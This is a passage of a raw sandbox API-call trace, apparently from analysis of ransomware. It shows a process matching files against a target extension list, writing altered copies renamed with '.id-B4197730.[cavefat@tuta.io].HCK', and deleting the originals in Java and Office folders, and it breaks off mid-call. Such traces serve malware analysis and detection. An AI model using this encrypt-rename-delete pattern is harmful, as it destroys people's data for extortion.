lstrlenW (lpString=".rar") returned 4 [0229.268] lstrcmpiW (lpString1=".rar", lpString2="ings") returned -1 [0229.268] lstrlenW (lpString=".bz2") returned 4 [0229.268] lstrcmpiW (lpString1=".bz2", lpString2="ings") returned -1 [0229.268] lstrlenW (lpString=".7z") returned 3 [0229.268] lstrcmpiW (lpString1=".7z", lpString2="ngs") returned -1 [0229.268] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0229.268] lstrlenW (lpString=".dbf") returned 4 [0229.268] lstrcmpiW (lpString1=".dbf", lpString2="ings") returned -1 [0229.268] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0229.268] lstrlenW (lpString=".1cd") returned 4 [0229.268] lstrcmpiW (lpString1=".1cd", lpString2="ings") returned -1 [0229.268] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0229.268] lstrlenW (lpString=".jpg") returned 4 [0229.268] lstrcmpiW (lpString1=".jpg", lpString2="ings") returned -1 [0229.268] lstrcmpiW (lpString1=".0_144\\LICENSE", lpString2=".HCK") returned -1 [0229.268] lstrlenW (lpString="LICENSE") returned 7 [0229.268] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0229.269] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=40) returned 1 [0229.269] CloseHandle (hObject=0x498) returned 1 [0229.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 0x20 [0229.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.269] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0229.270] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.270] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.270] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0229.270] GetLastError () returned 0x0 [0229.270] ReadFile (in: hFile=0x498, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x28, lpOverlapped=0x0) returned 1 [0229.271] WriteFile (in: hFile=0x4d4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x30, lpOverlapped=0x0) returned 1 [0229.272] ReadFile (in: hFile=0x498, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.272] WriteFile (in: hFile=0x4d4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xe2, lpOverlapped=0x0) returned 1 [0229.272] SetEndOfFile (hFile=0x4d4) returned 1 [0229.272] CloseHandle (hObject=0x4d4) returned 1 [0229.272] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.272] SetEndOfFile (hFile=0x498) returned 1 [0229.275] CloseHandle (hObject=0x498) returned 1 [0229.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0229.275] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 1 [0229.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0229.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0229.276] lstrlenW (lpString=".doc") returned 4 [0229.276] lstrcmpiW (lpString1=".doc", lpString2="ENSE") returned -1 [0229.276] lstrlenW (lpString=".docx") returned 5 [0229.276] lstrcmpiW (lpString1=".docx", lpString2="CENSE") returned -1 [0229.276] lstrlenW (lpString=".pdf") returned 4 [0229.276] lstrcmpiW (lpString1=".pdf", lpString2="ENSE") returned -1 [0229.276] lstrlenW (lpString=".xls") returned 4 [0229.276] lstrcmpiW (lpString1=".xls", lpString2="ENSE") returned -1 [0229.276] lstrlenW (lpString=".xlsx") returned 5 [0229.276] lstrcmpiW (lpString1=".xlsx", lpString2="CENSE") returned -1 [0229.276] lstrlenW (lpString=".ppt") returned 4 [0229.276] lstrcmpiW (lpString1=".ppt", lpString2="ENSE") returned -1 [0229.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0229.276] lstrlenW (lpString=".zip") returned 4 [0229.276] lstrcmpiW (lpString1=".zip", lpString2="ENSE") returned -1 [0229.276] lstrlenW (lpString=".rar") returned 4 [0229.276] lstrcmpiW (lpString1=".rar", lpString2="ENSE") returned -1 [0229.276] lstrlenW (lpString=".bz2") returned 4 [0229.276] lstrcmpiW (lpString1=".bz2", lpString2="ENSE") returned -1 [0229.276] lstrlenW (lpString=".7z") returned 3 [0229.276] lstrcmpiW (lpString1=".7z", lpString2="NSE") returned -1 [0229.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0229.276] lstrlenW (lpString=".dbf") returned 4 [0229.276] lstrcmpiW (lpString1=".dbf", lpString2="ENSE") returned -1 [0229.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0229.276] lstrlenW (lpString=".1cd") returned 4 [0229.276] lstrcmpiW (lpString1=".1cd", lpString2="ENSE") returned -1 [0229.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0229.277] lstrlenW (lpString=".jpg") returned 4 [0229.277] lstrcmpiW (lpString1=".jpg", lpString2="ENSE") returned -1 [0229.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0229.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0229.277] lstrlenW (lpString=".doc") returned 4 [0229.277] lstrcmpiW (lpString1=".doc", lpString2="ENSE") returned -1 [0229.277] lstrlenW (lpString=".docx") returned 5 [0229.277] lstrcmpiW (lpString1=".docx", lpString2="CENSE") returned -1 [0229.277] lstrlenW (lpString=".pdf") returned 4 [0229.277] lstrcmpiW (lpString1=".pdf", lpString2="ENSE") returned -1 [0229.277] lstrlenW (lpString=".xls") returned 4 [0229.277] lstrcmpiW (lpString1=".xls", lpString2="ENSE") returned -1 [0229.277] lstrlenW (lpString=".xlsx") returned 5 [0229.277] lstrcmpiW (lpString1=".xlsx", lpString2="CENSE") returned -1 [0229.277] lstrlenW (lpString=".ppt") returned 4 [0229.277] lstrcmpiW (lpString1=".ppt", lpString2="ENSE") returned -1 [0229.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0229.277] lstrlenW (lpString=".zip") returned 4 [0229.277] lstrcmpiW (lpString1=".zip", lpString2="ENSE") returned -1 [0229.277] lstrlenW (lpString=".rar") returned 4 [0229.277] lstrcmpiW (lpString1=".rar", lpString2="ENSE") returned -1 [0229.277] lstrlenW (lpString=".bz2") returned 4 [0229.277] lstrcmpiW (lpString1=".bz2", lpString2="ENSE") returned -1 [0229.277] lstrlenW (lpString=".7z") returned 3 [0229.277] lstrcmpiW (lpString1=".7z", lpString2="NSE") returned -1 [0229.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0229.277] lstrlenW (lpString=".dbf") returned 4 [0229.277] lstrcmpiW (lpString1=".dbf", lpString2="ENSE") returned -1 [0229.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0229.277] lstrlenW (lpString=".1cd") returned 4 [0229.277] lstrcmpiW (lpString1=".1cd", lpString2="ENSE") returned -1 [0229.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0229.277] lstrlenW (lpString=".jpg") returned 4 [0229.277] lstrcmpiW (lpString1=".jpg", lpString2="ENSE") returned -1 [0229.277] lstrcmpiW (lpString1=".0_144\\release", lpString2=".HCK") returned -1 [0229.277] lstrlenW (lpString="release") returned 7 [0229.277] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0229.278] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=528) returned 1 [0229.278] CloseHandle (hObject=0x498) returned 1 [0229.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 0x20 [0229.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.278] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0229.278] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.278] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.278] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0229.279] GetLastError () returned 0x0 [0229.279] ReadFile (in: hFile=0x498, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x210, lpOverlapped=0x0) returned 1 [0229.461] WriteFile (in: hFile=0x4d4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x220, lpOverlapped=0x0) returned 1 [0229.462] ReadFile (in: hFile=0x498, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.462] WriteFile (in: hFile=0x4d4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xe2, lpOverlapped=0x0) returned 1 [0229.463] SetEndOfFile (hFile=0x4d4) returned 1 [0229.463] CloseHandle (hObject=0x4d4) returned 1 [0229.463] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.463] SetEndOfFile (hFile=0x498) returned 1 [0229.465] CloseHandle (hObject=0x498) returned 1 [0229.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0229.466] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 1 [0229.467] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0229.467] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0229.467] lstrlenW (lpString=".doc") returned 4 [0229.467] lstrcmpiW (lpString1=".doc", lpString2="ease") returned -1 [0229.467] lstrlenW (lpString=".docx") returned 5 [0229.467] lstrcmpiW (lpString1=".docx", lpString2="lease") returned -1 [0229.467] lstrlenW (lpString=".pdf") returned 4 [0229.467] lstrcmpiW (lpString1=".pdf", lpString2="ease") returned -1 [0229.467] lstrlenW (lpString=".xls") returned 4 [0229.467] lstrcmpiW (lpString1=".xls", lpString2="ease") returned -1 [0229.467] lstrlenW (lpString=".xlsx") returned 5 [0229.467] lstrcmpiW (lpString1=".xlsx", lpString2="lease") returned -1 [0229.467] lstrlenW (lpString=".ppt") returned 4 [0229.467] lstrcmpiW (lpString1=".ppt", lpString2="ease") returned -1 [0229.467] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0229.467] lstrlenW (lpString=".zip") returned 4 [0229.467] lstrcmpiW (lpString1=".zip", lpString2="ease") returned -1 [0229.467] lstrlenW (lpString=".rar") returned 4 [0229.467] lstrcmpiW (lpString1=".rar", lpString2="ease") returned -1 [0229.467] lstrlenW (lpString=".bz2") returned 4 [0229.467] lstrcmpiW (lpString1=".bz2", lpString2="ease") returned -1 [0229.467] lstrlenW (lpString=".7z") returned 3 [0229.467] lstrcmpiW (lpString1=".7z", lpString2="ase") returned -1 [0229.467] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0229.467] lstrlenW (lpString=".dbf") returned 4 [0229.467] lstrcmpiW (lpString1=".dbf", lpString2="ease") returned -1 [0229.467] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0229.467] lstrlenW (lpString=".1cd") returned 4 [0229.467] lstrcmpiW (lpString1=".1cd", lpString2="ease") returned -1 [0229.467] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0229.467] lstrlenW (lpString=".jpg") returned 4 [0229.467] lstrcmpiW (lpString1=".jpg", lpString2="ease") returned -1 [0229.467] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0229.467] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0229.467] lstrlenW (lpString=".doc") returned 4 [0229.467] lstrcmpiW (lpString1=".doc", lpString2="ease") returned -1 [0229.467] lstrlenW (lpString=".docx") returned 5 [0229.467] lstrcmpiW (lpString1=".docx", lpString2="lease") returned -1 [0229.467] lstrlenW (lpString=".pdf") returned 4 [0229.467] lstrcmpiW (lpString1=".pdf", lpString2="ease") returned -1 [0229.467] lstrlenW (lpString=".xls") returned 4 [0229.467] lstrcmpiW (lpString1=".xls", lpString2="ease") returned -1 [0229.467] lstrlenW (lpString=".xlsx") returned 5 [0229.467] lstrcmpiW (lpString1=".xlsx", lpString2="lease") returned -1 [0229.467] lstrlenW (lpString=".ppt") returned 4 [0229.467] lstrcmpiW (lpString1=".ppt", lpString2="ease") returned -1 [0229.467] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0229.467] lstrlenW (lpString=".zip") returned 4 [0229.467] lstrcmpiW (lpString1=".zip", lpString2="ease") returned -1 [0229.467] lstrlenW (lpString=".rar") returned 4 [0229.467] lstrcmpiW (lpString1=".rar", lpString2="ease") returned -1 [0229.468] lstrlenW (lpString=".bz2") returned 4 [0229.468] lstrcmpiW (lpString1=".bz2", lpString2="ease") returned -1 [0229.468] lstrlenW (lpString=".7z") returned 3 [0229.468] lstrcmpiW (lpString1=".7z", lpString2="ase") returned -1 [0229.468] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0229.468] lstrlenW (lpString=".dbf") returned 4 [0229.468] lstrcmpiW (lpString1=".dbf", lpString2="ease") returned -1 [0229.468] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0229.468] lstrlenW (lpString=".1cd") returned 4 [0229.468] lstrcmpiW (lpString1=".1cd", lpString2="ease") returned -1 [0229.468] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0229.468] lstrlenW (lpString=".jpg") returned 4 [0229.468] lstrcmpiW (lpString1=".jpg", lpString2="ease") returned -1 [0229.468] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0229.468] lstrlenW (lpString="AppvIsvStream32.dll") returned 19 [0229.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0229.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0229.468] lstrlenW (lpString=".doc") returned 4 [0229.468] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0229.468] lstrlenW (lpString=".docx") returned 5 [0229.468] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0229.468] lstrlenW (lpString=".pdf") returned 4 [0229.468] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0229.468] lstrlenW (lpString=".xls") returned 4 [0229.468] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0229.468] lstrlenW (lpString=".xlsx") returned 5 [0229.468] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0229.468] lstrlenW (lpString=".ppt") returned 4 [0229.468] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0229.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0229.468] lstrlenW (lpString=".zip") returned 4 [0229.468] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0229.468] lstrlenW (lpString=".rar") returned 4 [0229.468] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0229.468] lstrlenW (lpString=".bz2") returned 4 [0229.468] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0229.469] lstrlenW (lpString=".7z") returned 3 [0229.469] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0229.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0229.469] lstrlenW (lpString=".dbf") returned 4 [0229.469] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0229.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0229.469] lstrlenW (lpString=".1cd") returned 4 [0229.469] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0229.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0229.469] lstrlenW (lpString=".jpg") returned 4 [0229.469] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0229.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0229.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0229.469] lstrlenW (lpString=".doc") returned 4 [0229.469] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0229.469] lstrlenW (lpString=".docx") returned 5 [0229.469] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0229.469] lstrlenW (lpString=".pdf") returned 4 [0229.469] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0229.469] lstrlenW (lpString=".xls") returned 4 [0229.469] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0229.469] lstrlenW (lpString=".xlsx") returned 5 [0229.469] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0229.469] lstrlenW (lpString=".ppt") returned 4 [0229.469] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0229.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0229.469] lstrlenW (lpString=".zip") returned 4 [0229.469] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0229.469] lstrlenW (lpString=".rar") returned 4 [0229.469] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0229.469] lstrlenW (lpString=".bz2") returned 4 [0229.469] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0229.469] lstrlenW (lpString=".7z") returned 3 [0229.469] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0229.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0229.469] lstrlenW (lpString=".dbf") returned 4 [0229.469] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0229.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0229.469] lstrlenW (lpString=".1cd") returned 4 [0229.469] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0229.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0229.469] lstrlenW (lpString=".jpg") returned 4 [0229.469] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0229.469] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0229.469] lstrlenW (lpString="AppvIsvStream64.dll") returned 19 [0229.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0229.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0229.470] lstrlenW (lpString=".doc") returned 4 [0229.470] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0229.470] lstrlenW (lpString=".docx") returned 5 [0229.470] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0229.470] lstrlenW (lpString=".pdf") returned 4 [0229.470] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0229.470] lstrlenW (lpString=".xls") returned 4 [0229.470] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0229.470] lstrlenW (lpString=".xlsx") returned 5 [0229.470] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0229.470] lstrlenW (lpString=".ppt") returned 4 [0229.470] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0229.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0229.470] lstrlenW (lpString=".zip") returned 4 [0229.470] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0229.470] lstrlenW (lpString=".rar") returned 4 [0229.470] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0229.470] lstrlenW (lpString=".bz2") returned 4 [0229.470] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0229.470] lstrlenW (lpString=".7z") returned 3 [0229.470] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0229.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0229.470] lstrlenW (lpString=".dbf") returned 4 [0229.470] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0229.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0229.470] lstrlenW (lpString=".1cd") returned 4 [0229.471] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0229.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0229.471] lstrlenW (lpString=".jpg") returned 4 [0229.471] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0229.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0229.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0229.471] lstrlenW (lpString=".doc") returned 4 [0229.471] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0229.471] lstrlenW (lpString=".docx") returned 5 [0229.471] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0229.471] lstrlenW (lpString=".pdf") returned 4 [0229.471] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0229.471] lstrlenW (lpString=".xls") returned 4 [0229.471] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0229.471] lstrlenW (lpString=".xlsx") returned 5 [0229.471] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0229.471] lstrlenW (lpString=".ppt") returned 4 [0229.471] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0229.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0229.471] lstrlenW (lpString=".zip") returned 4 [0229.471] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0229.471] lstrlenW (lpString=".rar") returned 4 [0229.471] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0229.471] lstrlenW (lpString=".bz2") returned 4 [0229.471] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0229.471] lstrlenW (lpString=".7z") returned 3 [0229.471] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0229.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0229.471] lstrlenW (lpString=".dbf") returned 4 [0229.471] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0229.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0229.471] lstrlenW (lpString=".1cd") returned 4 [0229.471] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0229.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0229.471] lstrlenW (lpString=".jpg") returned 4 [0229.471] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0229.471] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0229.471] lstrlenW (lpString="AppvIsvSubsystems32.dll") returned 23 [0229.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll" (normalized: 